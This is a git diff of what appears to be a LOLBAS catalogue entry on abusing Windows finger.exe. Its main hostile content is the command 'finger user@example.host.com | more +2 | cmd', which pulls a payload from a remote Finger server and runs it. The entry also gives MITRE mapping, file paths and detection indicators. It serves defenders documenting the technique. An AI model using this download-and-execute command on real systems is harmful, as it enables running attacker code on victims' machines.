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Wietze 2021-10-25 12:25:13 +01:00 committed by GitHub
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@ -5,26 +5,27 @@ Author: Ruben Revuelta
Created: 2021-08-30 Created: 2021-08-30
Commands: Commands:
- Command: finger user@example.host.com | more +2 | cmd - Command: finger user@example.host.com | more +2 | cmd
Description: Connects to "example.host.com" domain asking for the fake user "user" downloading as a result a malicious shellcode which is executed by cmd process. Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'
Usecase: Download malicious shellcode from Command & Control server. Usecase: Download malicious payload
Category: Download Category: Download
Privileges: User Privileges: User
MitreID: T1105 MitreID: T1105
MitreLink: https://attack.mitre.org/techniques/T1105 MitreLink: https://attack.mitre.org/techniques/T1105
OperatingSystem: From Windows Server 2008 and Windows 8 OperatingSystem: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
Full_Path: Full_Path:
- Path: c:\windows\system32\finger.exe - Path: c:\windows\system32\finger.exe
- Path: c:\windows\syswow64\finger.exe - Path: c:\windows\syswow64\finger.exe
Code_Sample:
- Code:
Detection: Detection:
- IOC: finger.exe spawn is not common in client systems. - IOC: finger.exe should not be run on a normal workstation.
- IOC: finger.exe connecting to external resources. - IOC: finger.exe connecting to external resources.
Resources: Resources:
- Link: https://twitter.com/DissectMalware/status/997340270273409024
- Link: https://docs.microsoft.com/es-es/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11) - Link: https://docs.microsoft.com/es-es/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)
Acknowledgement: Acknowledgement:
- Person: Ruben Revuelta (MAPFRE CERT) - Person: Ruben Revuelta (MAPFRE CERT)
Handle: @rubn_RB Handle: '@rubn_RB'
- Person: Jose A. Jimenez (MAPFRE CERT) - Person: Jose A. Jimenez (MAPFRE CERT)
Handle: @Ocelotty6669 Handle: '@Ocelotty6669'
- Person: Malwrologist
Handle: '@DissectMalware'
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